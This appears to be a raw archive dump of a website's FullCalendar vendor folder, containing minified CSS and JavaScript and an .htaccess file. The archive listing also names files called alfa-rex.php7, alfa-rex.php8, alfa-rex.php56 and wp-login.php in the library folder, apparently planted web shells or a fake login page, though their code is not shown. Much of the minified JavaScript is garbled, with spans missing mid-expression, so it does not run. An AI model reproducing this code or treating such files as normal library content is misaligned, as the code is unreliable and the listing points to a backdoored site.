.fc-event-main{color:#fff;color:var(--fc-event-text-color,#fff);height:100%}.fc-v-event .fc-event-main-frame{height:100%;display:flex;flex-direction:column}.fc-v-event .fc-event-time{flex-grow:0;flex-shrink:0;max-height:100%;overflow:hidden}.fc-v-event .fc-event-title-container{flex-grow:1;flex-shrink:1;min-height:0}.fc-v-event .fc-event-title{top:0;bottom:0;max-height:100%;overflow:hidden}.fc-v-event:not(.fc-event-start){border-top-width:0;border-top-left-radius:0;border-top-right-radius:0}.fc-v-event:not(.fc-event-end){border-bottom-width:0;border-bottom-left-radius:0;border-bottom-right-radius:0}.fc-v-event.fc-event-selected:before{left:-10px;right:-10px}.fc-v-event .fc-event-resizer-start{cursor:n-resize}.fc-v-event .fc-event-resizer-end{cursor:s-resize}.fc-v-event:not(.fc-event-selected) .fc-event-resizer{height:8px;height:var(--fc-event-resizer-thickness,8px);left:0;right:0}.fc-v-event:not(.fc-event-selected) .fc-event-resizer-start{top:-4px;top:calc(var(--fc-event-resizer-thickness,8px)/ -2)}.fc-v-event:not(.fc-event-selected) .fc-event-resizer-end{bottom:-4px;bottom:calc(var(--fc-event-resizer-thickness,8px)/ -2)}.fc-v-event.fc-event-selected .fc-event-resizer{left:50%;margin-left:-4px;margin-left:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}.fc-v-event.fc-event-selected .fc-event-resizer-start{top:-4px;top:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}.fc-v-event.fc-event-selected .fc-event-resizer-end{bottom:-4px;bottom:calc(var(--fc-event-resizer-dot-total-width,8px)/ -2)}.fc .fc-timegrid .fc-daygrid-body{z-index:2}.fc .fc-timegrid-axis-chunk>table,.fc .fc-timegrid-body,.fc .fc-timegrid-slots{position:relative;z-index:1}.fc .fc-timegrid-divider{padding:0 0 2px}.fc .fc-timegrid-body{min-height:100%}.fc .fc-timegrid-axis-chunk{position:relative}.fc .fc-timegrid-slot{height:1.5em;border-bottom:0}.fc .fc-timegrid-slot:empty:before{content:'\00a0'}.fc .fc-timegrid-slot-minor{border-top-style:dotted}.fc .fc-timegrid-slot-label-cushion{display:inline-block;white-space:nowrap}.fc .fc-timegrid-axis-cushion,.fc .fc-timegrid-slot-label-cushion{padding:0 4px}.fc .fc-timegrid-axis-frame-liquid{height:100%}.fc .fc-timegrid-axis-frame{overflow:hidden;display:flex;align-items:center;justify-content:flex-end}.fc .fc-timegrid-axis-cushion{max-width:60px;flex-shrink:0}.fc-direction-ltr .fc-timegrid-slot-label-frame{text-align:right}.fc-direction-rtl .fc-timegrid-slot-label-frame{text-align:left}.fc-liquid-hack .fc-timegrid-axis-frame-liquid{height:auto;position:absolute;top:0;right:0;bottom:0;left:0}.fc .fc-timegrid-col.fc-day-today{background-color:rgba(255,220,40,.15);background-color:var(--fc-today-bg-color,rgba(255,220,40,.15))}.fc .fc-timegrid-col-frame{min-height:100%;position:relative}.fc-liquid-hack .fc-timegrid-col-frame{height:auto;position:absolute;top:0;right:0;bottom:0;left:0}.fc-media-screen .fc-timegrid-cols{position:absolute;top:0;left:0;right:0;bottom:0}.fc-media-screen .fc-timegrid-cols>table{height:100%}.fc-media-screen .fc-timegrid-col-bg,.fc-media-screen .fc-timegrid-col-events,.fc-media-screen .fc-timegrid-now-indicator-container{position:absolute;top:0;left:0;right:0}.fc-media-screen .fc-timegrid-event-harness{position:absolute}.fc .fc-timegrid-col-bg{z-index:2}.fc .fc-timegrid-col-bg .fc-non-business{z-index:1}.fc .fc-timegrid-col-bg .fc-bg-event{z-index:2}.fc .fc-timegrid-col-bg .fc-highlight,.fc .fc-timegrid-col-events{z-index:3}.fc .fc-timegrid-bg-harness{position:absolute;left:0;right:0}.fc .fc-timegrid-now-indicator-container{bottom:0;overflow:hidden}.fc-direction-ltr .fc-timegrid-col-events{margin:0 2.5% 0 2px}.fc-direction-rtl .fc-timegrid-col-events{margin:0 2px 0 2.5%}.fc-timegrid-event-harness-inset .fc-timegrid-event,.fc-timegrid-event.fc-event-mirror{box-shadow:0 0 0 1px #fff;box-shadow:0 0 0 1px var(--fc-page-bg-color,#fff)}.fc-timegrid-event{font-size:.85em;font-size:var(--fc-small-font-size,.85em);border-radius:3px}.fc-timegrid-event .fc-event-main{padding:1px 1px 0}.fc-timegrid-event .fc-event-time{white-space:nowrap;font-size:.85em;font-size:var(--fc-small-font-size,.85em);margin-bottom:1px}.fc-timegrid-event-condensed .fc-event-main-frame{flex-direction:row;overflow:hidden}.fc-timegrid-event-condensed .fc-event-time:after{content:'\00a0-\00a0'}.fc-timegrid-event-condensed .fc-event-title{font-size:.85em;font-size:var(--fc-small-font-size,.85em)}.fc-media-screen .fc-timegrid-event{position:absolute;top:0;bottom:1px;left:0;right:0}.fc .fc-timegrid-now-indicator-line{position:absolute;z-index:4;left:0;right:0;border-style:solid;border-color:red;border-color:var(--fc-now-indicator-color,red);border-width:1px 0 0}.fc .fc-timegrid-now-indicator-arrow{position:absolute;z-index:4;margin-top:-5px;border-style:solid;border-color:red;border-color:var(--fc-now-indicator-color,red)}.fc-direction-ltr .fc-timegrid-now-indicator-arrow{left:0;border-width:5px 0 5px 6px;border-top-color:transparent;border-bottom-color:transparent}.fc-direction-rtl .fc-timegrid-now-indicator-arrow{right:0;border-width:5px 6px 5px 0;border-top-color:transparent;border-bottom-color:transparent}.fc-theme-standard .fc-list{border:1px solid #ddd;border:1px solid var(--fc-border-color,#ddd)}.fc .fc-list-empty{background-color:rgba(208,208,208,.3);background-color:var(--fc-neutral-bg-color,rgba(208,208,208,.3));height:100%;display:flex;justify-content:center;align-items:center}.fc .fc-list-empty-cushion{margin:5em 0}.fc .fc-list-table{width:100%;border-style:hidden}.fc .fc-list-table tr>*{border-left:0;border-right:0}.fc .fc-list-sticky .fc-list-day>*{position:-webkit-sticky;position:sticky;top:0;background:var(--fc-page-bg-color,#fff)}.fc .fc-list-table th{padding:0}.fc .fc-list-day-cushion,.fc .fc-list-table td{padding:8px 14px}.fc .fc-list-day-cushion:after{content:"";clear:both;display:table}.fc-theme-standard .fc-list-day-cushion{background-color:rgba(208,208,208,.3);background-color:var(--fc-neutral-bg-color,rgba(208,208,208,.3))}.fc-direction-ltr .fc-list-day-text,.fc-direction-rtl .fc-list-day-side-text{float:left}.fc-direction-ltr .fc-list-day-side-text,.fc-direction-rtl .fc-list-day-text{float:right}.fc-direction-ltr .fc-list-table .fc-list-event-graphic{padding-right:0}.fc-direction-rtl .fc-list-table .fc-list-event-graphic{padding-left:0}.fc .fc-list-event.fc-event-forced-url{cursor:pointer}.fc .fc-list-event:hover td{background-color:#f5f5f5;background-color:var(--fc-list-event-hover-bg-color,#f5f5f5)}.fc .fc-list-event-graphic,.fc .fc-list-event-time{white-space:nowrap;width:1px}.fc .fc-list-event-dot{display:inline-block;box-sizing:content-box;width:0;height:0;border:5px solid #3788d8;border:calc(var(--fc-list-event-dot-width,10px)/ 2) solid var(--fc-event-border-color,#3788d8);border-radius:5px;border-radius:calc(var(--fc-list-event-dot-width,10px)/ 2)}.fc .fc-list-event-title a{color:inherit}.fc .fc-list-event.fc-event-forced-url:hover a{text-decoration:underline}.fc-theme-bootstrap a:not([href]){color:inherit}PKZ]ddvendor/full-calendar/.htaccessnu[ RewriteEngine On RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] Order Allow,Deny Allow from all PKZGAk}|-|-"vendor/full-calendar/alfa-rex.php7nu[PKZGAk}|-|-"vendor/full-calendar/alfa-rex.php8nu[PKZGAk}|-|-!vendor/full-calendar/wp-login.phpnu[PKZGAk}|-|-#vendor/full-calendar/alfa-rex.php56nu[PKZ^ vendor/full-calendar/main.min.jsnu[/*! FullCalendar v5.5.1 Docs & License: https://fullcalendar.io/ (c) 2020 Adam Shaw */ var FullCalendar=function(e){"use strict";var t=function(e,n){return(t=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)Object.prototype.hasOwnProperty.call(t,n)&&(e[n]=t[n])})(e,n)};function n(e,n){function r(){this.constructor=e}t(e,n),e.prototype=null===n?Object.create(n):(r.prototype=n.prototype,new r)}var r=function(){return(r=Object.assign||function(e){for(var t,n=1,r=arguments.length;n3)for(n=[n],i=3;i1&&_(o,t,n),t=R(n,o,o,e.__k,null,o.__e,t),"function"==typeof e.type&&(e.__d=t)))}function I(e,t,n,r,o,a,s,l,u){var c,d,p,f,v,g,m,S,D,b,C,R=t.type;if(void 0!==t.constructor)return null;null!=n.__h&&(u=n.__h,l=t.__e=n.__e,t.__h=null,a=[l]),(c=i.__b)&&c(t);try{e:if("function"==typeof R){if(S=t.props,D=(c=R.contextType)&&r[c.__c],b=c?D?D.props.value:c.__:r,n.__c?m=(d=t.__c=n.__c).__=d.__E:("prototype"in R&&R.prototype.render?t.__c=d=new R(S,b):(t.__c=d=new E(S,b),d.constructor=R,d.render=A),D&&D.sub(d),d.props=S,d.state||(d.state={}),d.context=b,d.__n=r,p=d.__d=!0,d.__h=[]),null==d.__s&&(d.__s=d.state),null!=R.getDerivedStateFromProps&&(d.__s==d.state&&(d.__s=h({},d.__s)),h(d.__s,R.getDerivedStateFromProps(S,d.__s))),f=d.props,v=d.state,p)null==R.getDerivedStateFromProps&&null!=d.componentWillMount&&d.componentWillMount(),null!=d.componentDidMount&&d.__h.push(d.componentDidMount);else{if(null==R.getDerivedStateFromProps&&S!==f&&null!=d.componentWillReceiveProps&&d.componentWillReceiveProps(S,b),!d.__e&&null!=d.shouldComponentUpdate&&!1===d.shouldComponentUpdate(S,d.__s,b)||t.__v===n.__v){d.props=S,d.state=d.__s,t.__v!==n.__v&&(d.__d=!1),d.__v=t,t.__e=n.__e,t.__k=n.__k,d.__h.length&&s.push(d),_(t,l,e);break e}null!=d.componentWillUpdate&&d.componentWillUpdate(S,d.__s,b),null!=d.componentDidUpdate&&d.__h.push((function(){d.componentDidUpdate(f,v,g)}))}d.context=b,d.props=S,d.state=d.__s,(c=i.__r)&&c(t),d.__d=!1,d.__v=t,d.__P=e,c=d.render(d.props,d.state,d.context),d.state=d.__s,null!=d.getChildContext&&(r=h(h({},r),d.getChildContext())),p||null==d.getSnapshotBeforeUpdate||(g=d.getSnapshotBeforeUpdate(f,v)),C=null!=c&&c.type==y&&null==c.key?c.props.children:c,w(e,Array.isArray(C)?C:[C],t,n,r,o,a,s,l,u),d.base=t.__e,t.__h=null,d.__h.length&&s.push(d),m&&(d.__E=d.__=null),d.__e=!1}else null==a&&t.__v===n.__v?(t.__k=n.__k,t.__e=n.__e):t.__e=N(n.__e,t,n,r,o,a,s,u);(c=i.diffed)&&c(t)}catch(e){t.__v=null,(u||null!=a)&&(t.__e=l,t.__h=!!u,a[a.indexOf(l)]=null),i.__e(e,t,n)}return t.__e}function P(e,t){i.__c&&i.__c(t,e),e.some((function(t){try{e=t.__h,t.__h=[],e.some((function(e){e.call(t)}))}catch(e){i.__e(e,t.__v)}}))}function N(e,t,n,r,o,i,a,s){var l,u,c,f,h,v=n.props,g=t.props;if(o="svg"===t.type||o,null!=i)for(l=0;l=0;i-=1){var a=e[i][r];if("object"==typeof a&&a)o.unshift(a);else if(void 0!==a){n[r]=a;break}}o.length&&(n[r]=Oe(o))}for(i=e.length-1;i>=0;i-=1){var s=e[i];for(var l in s)l in n||(n[l]=s[l])}return n}function Ae(e,t){var n={};for(var r in e)t(e[r],r)&&(n[r]=e[r]);return n}function Ue(e,t){var n={};for(var r in e)n[r]=t(e[r],r);return n}function Le(e){for(var t={},n=0,r=e;n1)||"numeric"!==o.year&&"2-digit"!==o.year||"numeric"!==o.month&&"2-digit"!==o.month||"numeric"!==o.day&&"2-digit"!==o.day||(s=1);var l=this.format(e,n),u=this.format(t,n);if(l===u)return l;var c=mt(function(e,t){var n={};for(var r in e)(!(r in ct)||ct[r]<=t)&&(n[r]=e[r]);return n}(o,s),i,n),d=c(e),p=c(t),f=function(e,t,n,r){var o=0;for(;o=et(t)&&(r=me(r,1))}return e.start&&(n=we(e.start),r&&r<=n&&(r=me(n,1))),{start:n,end:r}}function en(e){var t=Qt(e);return Se(t.start,t.end)>1}function tn(e,t,n,r){return"year"===r?Xe(n.diffWholeYears(e,t),"year"):"month"===r?Xe(n.diffWholeMonths(e,t),"month"):De(e,t)}function nn(e,t){var n,r,o=[],i=t.start;for(e.sort(rn),n=0;ni&&o.push({start:i,end:r.start}),r.end>i&&(i=r.end);return it.start)&&(null===e.start||null===t.end||e.start=e.start)&&(null===e.end||null!==t.end&&t.end<=e.end)}function un(e,t){return(null===e.start||t>=e.start)&&(null===e.end||t=(n||t.end),isToday:t&&un(t,r.start)}}function Cn(e){var t=["fc-event"];return e.isMirror&&t.push("fc-event-mirror"),e.isDraggable&&t.push("fc-event-draggable"),(e.isStartResizable||e.isEndResizable)&&t.push("fc-event-resizable"),e.isDragging&&t.push("fc-event-dragging"),e.isResizing&&t.push("fc-event-resizing"),e.isSelected&&t.push("fc-event-selected"),e.isStart&&t.push("fc-event-start"),e.isEnd&&t.push("fc-event-end"),e.isPast&&t.push("fc-event-past"),e.isToday&&t.push("fc-event-today"),e.isFuture&&t.push("fc-event-future"),t}function wn(e){return e.instance?e.instance.instanceId:e.def.defId+":"+e.range.start.toISOString()}var Rn={start:Pt,end:Pt,allDay:Boolean};function Tn(e,t,n){var o=function(e,t){var n=It(e,Rn),o=n.refined,i=n.extra,a=o.start?t.createMarkerMeta(o.start):null,s=o.end?t.createMarkerMeta(o.end):null,l=o.allDay;null==l&&(l=a&&a.isTimeUnspecified&&(!s||s.isTimeUnspecified));return r({range:{start:a?a.marker:null,end:s?s.marker:null},allDay:l},i)}(e,t),i=o.range;if(!i.start)return null;if(!i.end){if(null==n)return null;i.end=t.add(i.start,n)}return o}function kn(e,t){return an(e.range,t.range)&&e.allDay===t.allDay&&function(e,t){for(var n in t)if("range"!==n&&"allDay"!==n&&e[n]!==t[n])return!1;for(var n in e)if(!(n in t))return!1;return!0}(e,t)}function Mn(e,t,n){return r(r({},xn(e,t,n)),{timeZone:t.timeZone})}function xn(e,t,n){return{start:t.toDate(e.start),end:t.toDate(e.end),startStr:t.formatIso(e.start,{omitTime:n}),endStr:t.formatIso(e.end,{omitTime:n})}}function _n(e,t,n){var r=Xt({editable:!1},n),o=Jt(r.refined,r.extra,"",e.allDay,!0,n);return{def:o,ui:vn(o,t),instance:Ne(o.defId,e.range),range:e.range,isStart:!0,isEnd:!0}}function In(e,t,n){n.emitter.trigger("select",r(r({},Pn(e,n)),{jsEvent:t?t.origEvent:null,view:n.viewApi||n.calendarApi.view}))}function Pn(e,t){for(var n,o,i={},a=0,s=t.pluginHooks.dateSpanTransforms;a=0;r-=1){var o=n[r].parseMeta(e);if(o)return{sourceDefId:r,meta:o}}return null}(i,t);if(s)return{_raw:e,isFetching:!1,latestFetchId:"",fetchRange:null,defaultAllDay:i.defaultAllDay,eventDataTransform:i.eventDataTransform,success:i.success,failure:i.failure,publicId:i.id||"",sourceId:ee(),sourceDefId:s.sourceDefId,meta:s.meta,ui:zt(i,t),extendedProps:a}}return null}function Vn(e){return r(r(r({},Vt),Ln),e.pluginHooks.eventSourceRefiners)}function Fn(e,t){return"function"==typeof e&&(e=e()),null==e?t.createNowMarker():t.createMarker(e)}var zn=function(){function e(){}return e.prototype.getCurrentData=function(){return this.currentDataManager.getCurrentData()},e.prototype.dispatch=function(e){return this.currentDataManager.dispatch(e)},Object.defineProperty(e.prototype,"view",{get:function(){return this.getCurrentData().viewApi},enumerable:!1,configurable:!0}),e.prototype.batchRendering=function(e){e()},e.prototype.updateSize=function(){this.trigger("_resize",!0)},e.prototype.setOption=function(e,t){this.dispatch({type:"SET_OPTION",optionName:e,rawOptionValue:t})},e.prototype.getOption=function(e){return this.currentDataManager.currentCalendarOptionsInput[e]},e.prototype.getAvailableLocaleCodes=function(){return Object.keys(this.getCurrentData().availableRawLocales)},e.prototype.on=function(e,t){var n=this.currentDataManager;n.currentCalendarOptionsRefiners[e]?n.emitter.on(e,t):console.warn("Unknown listener name '"+e+"'")},e.prototype.off=function(e,t){this.currentDataManager.emitter.off(e,t)},e.prototype.trigger=function(e){for(var t,n=[],r=1;r=1?Math.min(o,i):o}(e,this.weekDow,this.weekDoy)},e.prototype.format=function(e,t,n){return void 0===n&&(n={}),t.format({marker:e,timeZoneOffset:null!=n.forcedTzo?n.forcedTzo:this.offsetForMarker(e)},this)},e.prototype.formatRange=function(e,t,n,r){return void 0===r&&(r={}),r.isEndExclusive&&(t=ye(t,-1)),n.formatRange({marker:e,timeZoneOffset:null!=r.forcedStartTzo?r.forcedStartTzo:this.offsetForMarker(e)},{marker:t,timeZoneOffset:null!=r.forcedEndTzo?r.forcedEndTzo:this.offsetForMarker(t)},this,r.defaultSeparator)},e.prototype.formatIso=function(e,t){void 0===t&&(t={});var n=null;return t.omitTimeZoneOffset||(n=null!=t.forcedTzo?t.forcedTzo:this.offsetForMarker(e)),function(e,t,n){void 0===n&&(n=!1);var r=e.toISOString();return r=r.replace(".000",""),n&&(r=r.replace("T00:00:00Z","")),r.length>10&&(null==t?r=r.replace("Z",""):0!==t&&(r=r.replace("Z",it(t,!0)))),r}(e,n,t.omitTime)},e.prototype.timestampToMarker=function(e){return"local"===this.timeZone?_e(ke(new Date(e))):"UTC"!==this.timeZone&&this.namedTimeZoneImpl?_e(this.namedTimeZoneImpl.timestampToArray(e)):new Date(e)},e.prototype.offsetForMarker=function(e){return"local"===this.timeZone?-Me(xe(e)).getTimezoneOffset():"UTC"===this.timeZone?0:this.namedTimeZoneImpl?this.namedTimeZoneImpl.offsetForArray(xe(e)):null},e.prototype.toDate=function(e,t){return"local"===this.timeZone?Me(xe(e)):"UTC"===this.timeZone?new Date(e.valueOf()):this.namedTimeZoneImpl?new Date(e.valueOf()-1e3*this.namedTimeZoneImpl.offsetForArray(xe(e))*60):new Date(e.valueOf()-(t||0))},e}(),$n=[],Qn={code:"en",week:{dow:0,doy:4},direction:"ltr",buttonText:{prev:"prev",next:"next",prevYear:"prev year",nextYear:"next year",year:"year",today:"today",month:"month",week:"week",day:"day",list:"list"},weekText:"W",allDayText:"all-day",moreLinkText:"more",noEventsText:"No events to display"};function er(e){for(var t=e.length>0?e[0].code:"en",n=$n.concat(e),r={en:Qn},o=0,i=n;o0;o-=1){var i=r.slice(0,o).join("-");if(t[i])return t[i]}return null}(n,t)||Qn;return nr(e,n,r)}(e,t):nr(e.code,[e.code],e)}function nr(e,t,n){var r=Oe([Qn,n],["buttonText"]);delete r.code;var o=r.week;return delete r.week,{codeArg:e,codes:t,week:o,simpleNumberFormat:new Intl.NumberFormat(e),options:r}}function rr(e){var t=tr(e.locale||"en",er([]).map);return new Jn(r(r({timeZone:wt.timeZone,calendarSystem:"gregory"},e),{locale:t}))}var or,ir={startTime:"09:00",endTime:"17:00",daysOfWeek:[1,2,3,4,5],display:"inverse-background",classNames:"fc-non-business",groupId:"_businessHours"};function ar(e,t){return Nt(function(e){var t;t=!0===e?[{}]:Array.isArray(e)?e.filter((function(e){return e.daysOfWeek})):"object"==typeof e&&e?[e]:[];return t=t.map((function(e){return r(r({},ir),e)}))}(e),null,t)}function sr(e,t){return e.left>=t.left&&e.left=t.top&&e.top
",e.querySelector("table").style.height="100px",e.querySelector("div").style.height="100%",document.body.appendChild(e);var t=e.querySelector("div").offsetHeight>0;return document.body.removeChild(e),t}()),or}var fr={defs:{},instances:{}},hr=function(){function e(){this.getKeysForEventDefs=st(this._getKeysForEventDefs),this.splitDateSelection=st(this._splitDateSpan),this.splitEventStore=st(this._splitEventStore),this.splitIndividualUi=st(this._splitIndividualUi),this.splitEventDrag=st(this._splitInteraction),this.splitEventResize=st(this._splitInteraction),this.eventUiBuilders={}}return e.prototype.splitProps=function(e){var t=this,n=this.getKeyInfo(e),r=this.getKeysForEventDefs(e.eventStore),o=this.splitDateSelection(e.dateSelection),i=this.splitIndividualUi(e.eventUiBases,r),a=this.splitEventStore(e.eventStore,r),s=this.splitEventDrag(e.eventDrag),l=this.splitEventResize(e.eventResize),u={};for(var c in this.eventUiBuilders=Ue(n,(function(e,n){return t.eventUiBuilders[n]||st(vr)})),n){var d=n[c],p=a[c]||fr,f=this.eventUiBuilders[c];u[c]={businessHours:d.businessHours||e.businessHours,dateSelection:o[c]||null,eventStore:p,eventUiBases:f(e.eventUiBases[""],d.ui,i[c]),eventSelection:p.instances[e.eventSelection]?e.eventSelection:"",eventDrag:s[c]||null,eventResize:l[c]||null}}return u},e.prototype._splitDateSpan=function(e){var t={};if(e)for(var n=0,r=this.getKeysForDateSpan(e);nn:!!t&&e>=t.end)}}function mr(e,t){var n=["fc-day","fc-day-"+ve[e.dow]];return e.isDisabled?n.push("fc-day-disabled"):(e.isToday&&(n.push("fc-day-today"),n.push(t.getClass("today"))),e.isPast&&n.push("fc-day-past"),e.isFuture&&n.push("fc-day-future"),e.isOther&&n.push("fc-day-other")),n}function yr(e,t){return void 0===t&&(t="day"),JSON.stringify({date:rt(e),type:t})}var Er,Sr=null;function Dr(){return null===Sr&&(Sr=function(){var e=document.createElement("div");q(e,{position:"absolute",top:-1e3,left:0,border:0,padding:0,overflow:"scroll",direction:"rtl"}),e.innerHTML="
",document.body.appendChild(e);var t=e.firstChild.getBoundingClientRect().left>e.getBoundingClientRect().left;return F(e),t}()),Sr}function br(){return Er||(Er=function(){var e=document.createElement("div");e.style.overflow="scroll",e.style.position="absolute",e.style.top="-9999px",e.style.left="-9999px",document.body.appendChild(e);var t=Cr(e);return document.body.removeChild(e),t}()),Er}function Cr(e){return{x:e.offsetHeight-e.clientHeight,y:e.offsetWidth-e.clientWidth}}function wr(e,t){void 0===t&&(t=!1);var n=window.getComputedStyle(e),r=parseInt(n.borderLeftWidth,10)||0,o=parseInt(n.borderRightWidth,10)||0,i=parseInt(n.borderTopWidth,10)||0,a=parseInt(n.borderBottomWidth,10)||0,s=Cr(e),l=s.y-r-o,u={borderLeft:r,borderRight:o,borderTop:i,borderBottom:a,scrollbarBottom:s.x-i-a,scrollbarLeft:0,scrollbarRight:0};return Dr()&&"rtl"===n.direction?u.scrollbarLeft=l:u.scrollbarRight=l,t&&(u.paddingLeft=parseInt(n.paddingLeft,10)||0,u.paddingRight=parseInt(n.paddingRight,10)||0,u.paddingTop=parseInt(n.paddingTop,10)||0,u.paddingBottom=parseInt(n.paddingBottom,10)||0),u}function Rr(e,t,n){void 0===t&&(t=!1);var r=n?e.getBoundingClientRect():Tr(e),o=wr(e,t),i={left:r.left+o.borderLeft+o.scrollbarLeft,right:r.right-o.borderRight-o.scrollbarRight,top:r.top+o.borderTop,bottom:r.bottom-o.borderBottom-o.scrollbarBottom};return t&&(i.left+=o.paddingLeft,i.right-=o.paddingRight,i.top+=o.paddingTop,i.bottom-=o.paddingBottom),i}function Tr(e){var t=e.getBoundingClientRect();return{left:t.left+window.pageXOffset,top:t.top+window.pageYOffset,right:t.right+window.pageXOffset,bottom:t.bottom+window.pageYOffset}}function kr(e){for(var t=[];e instanceof HTMLElement;){var n=window.getComputedStyle(e);if("fixed"===n.position)break;/(auto|scroll)/.test(n.overflow+n.overflowY+n.overflowX)&&t.push(e),e=e.parentNode}return t}function Mr(e,t,n){var r=!1,o=function(){r||(r=!0,t.apply(this,arguments))},i=function(){r||(r=!0,n&&n.apply(this,arguments))},a=e(o,i);a&&"function"==typeof a.then&&a.then(o,i)}var xr=function(){function e(){this.handlers={},this.thisContext=null}return e.prototype.setThisContext=function(e){this.thisContext=e},e.prototype.setOptions=function(e){this.options=e},e.prototype.on=function(e,t){!function(e,t,n){(e[t]||(e[t]=[])).push(n)}(this.handlers,e,t)},e.prototype.off=function(e,t){!function(e,t,n){n?e[t]&&(e[t]=e[t].filter((function(e){return e!==n}))):delete e[t]}(this.handlers,e,t)},e.prototype.trigger=function(e){for(var t=[],n=1;n=n[t]&&e=n[t]&&e0},e.prototype.canScrollHorizontally=function(){return this.getMaxScrollLeft()>0},e.prototype.canScrollUp=function(){return this.getScrollTop()>0},e.prototype.canScrollDown=function(){return this.getScrollTop()0},e.prototype.canScrollRight=function(){return this.getScrollLeft()=c.end?new Date(c.end.valueOf()-1):u),o=this.buildCurrentRangeInfo(e,t),i=/^(year|month|week|day)$/.test(o.unit),a=this.buildRenderRange(this.trimHiddenDays(o.range),o.unit,i),s=a=this.trimHiddenDays(a),d.showNonCurrentDates||(s=on(s,o.range)),s=on(s=this.adjustActiveRange(s),r),l=sn(o.range,r),{validRange:r,currentRange:o.range,currentRangeUnit:o.unit,isRangeAllDay:i,activeRange:s,renderRange:a,slotMinTime:d.slotMinTime,slotMaxTime:d.slotMaxTime,isValid:l,dateIncrement:this.buildDateIncrement(o.duration)}},e.prototype.buildValidRange=function(){var e=this.props.validRangeInput,t="function"==typeof e?e.call(this.props.calendarApi,this.nowDate):e;return this.refineRange(t)||{start:null,end:null}},e.prototype.buildCurrentRangeInfo=function(e,t){var n,r=this.props,o=null,i=null,a=null;return r.duration?(o=r.duration,i=r.durationUnit,a=this.buildRangeFromDuration(e,t,o,i)):(n=this.props.dayCount)?(i="day",a=this.buildRangeFromDayCount(e,t,n)):(a=this.buildCustomVisibleRange(e))?i=r.dateEnv.greatestWholeUnit(a.start,a.end).unit:(i=nt(o=this.getFallbackDuration()).unit,a=this.buildRangeFromDuration(e,t,o,i)),{duration:o,unit:i,range:a}},e.prototype.getFallbackDuration=function(){return Xe({day:1})},e.prototype.adjustActiveRange=function(e){var t=this.props,n=t.dateEnv,r=t.usesMinMaxTime,o=t.slotMinTime,i=t.slotMaxTime,a=e.start,s=e.end;return r&&(Qe(o)<0&&(a=we(a),a=n.add(a,o)),Qe(i)>1&&(s=me(s=we(s),-1),s=n.add(s,i))),{start:a,end:s}},e.prototype.buildRangeFromDuration=function(e,t,n,r){var o,i,a,s=this.props,l=s.dateEnv,u=s.dateAlignment;if(!u){var c=this.props.dateIncrement;u=c&&et(c)e.fetchRange.end}(e,t,n)})),t,n)}function Po(e,t,n,r){var o={};for(var i in e){var a=e[i];t[i]?o[i]=No(a,n,r):o[i]=a}return o}function No(e,t,n){var o=n.options,i=n.calendarApi,a=n.pluginHooks.eventSourceDefs[e.sourceDefId],s=ee();return a.fetch({eventSource:e,range:t,context:n},(function(r){var a=r.rawEvents;o.eventSourceSuccess&&(a=o.eventSourceSuccess.call(i,a,r.xhr)||a),e.success&&(a=e.success.call(i,a,r.xhr)||a),n.dispatch({type:"RECEIVE_EVENTS",sourceId:e.sourceId,fetchId:s,fetchRange:t,rawEvents:a})}),(function(r){console.warn(r.message,r),o.eventSourceFailure&&o.eventSourceFailure.call(i,r),e.failure&&e.failure(r),n.dispatch({type:"RECEIVE_EVENT_ERROR",sourceId:e.sourceId,fetchId:s,fetchRange:t,error:r})})),r(r({},e),{isFetching:!0,latestFetchId:s})}function Ho(e,t){return Ae(e,(function(e){return Oo(e,t)}))}function Oo(e,t){return!t.pluginHooks.eventSourceDefs[e.sourceDefId].ignoreRange}function Ao(e,t){switch(t.type){case"UNSELECT_DATES":return null;case"SELECT_DATES":return t.selection;default:return e}}function Uo(e,t){switch(t.type){case"UNSELECT_EVENT":return"";case"SELECT_EVENT":return t.eventInstanceId;default:return e}}function Lo(e,t){var n;switch(t.type){case"UNSET_EVENT_DRAG":return null;case"SET_EVENT_DRAG":return{affectedEvents:(n=t.state).affectedEvents,mutatedEvents:n.mutatedEvents,isEvent:n.isEvent};default:return e}}function Wo(e,t){var n;switch(t.type){case"UNSET_EVENT_RESIZE":return null;case"SET_EVENT_RESIZE":return{affectedEvents:(n=t.state).affectedEvents,mutatedEvents:n.mutatedEvents,isEvent:n.isEvent};default:return e}}function Vo(e,t,n,r,o){var i=[];return{headerToolbar:e.headerToolbar?Fo(e.headerToolbar,e,t,n,r,o,i):null,footerToolbar:e.footerToolbar?Fo(e.footerToolbar,e,t,n,r,o,i):null,viewsWithButtons:i}}function Fo(e,t,n,r,o,i,a){return Ue(e,(function(e){return function(e,t,n,r,o,i,a){var s="rtl"===t.direction,l=t.customButtons||{},u=n.buttonText||{},c=t.buttonText||{};return(e?e.split(" "):[]).map((function(e){return e.split(",").map((function(e){return"title"===e?{buttonName:e}:((t=l[e])?(d=function(e){t.click&&t.click.call(e.target,e,e.target)},(p=r.getCustomButtonIconClass(t))||(p=r.getIconClass(e,s))||(f=t.text)):(n=o[e])?(a.push(e),d=function(){i.changeView(e)},(f=n.buttonTextOverride)||(p=r.getIconClass(e,s))||(f=n.buttonTextDefault)):i[e]&&(d=function(){i[e]()},(f=u[e])||(p=r.getIconClass(e,s))||(f=c[e])),{buttonName:e,buttonClick:d,buttonIcon:p,buttonText:f});var t,n,d,p,f}))}))}(e,t,n,r,o,i,a)}))}function zo(e,t,n,r,o){var i=null;"GET"===(e=e.toUpperCase())?t=function(e,t){return e+(-1===e.indexOf("?")?"?":"&")+Bo(t)}(t,n):i=Bo(n);var a=new XMLHttpRequest;a.open(e,t,!0),"GET"!==e&&a.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),a.onload=function(){if(a.status>=200&&a.status<400){var e=!1,t=void 0;try{t=JSON.parse(a.responseText),e=!0}catch(e){}e?r(t,a):o("Failure parsing JSON",a)}else o("Request failed",a)},a.onerror=function(){o("Request failed",a)},a.send(i)}function Bo(e){var t=[];for(var n in e)t.push(encodeURIComponent(n)+"="+encodeURIComponent(e[n]));return t.join("&")}function jo(e,t){for(var 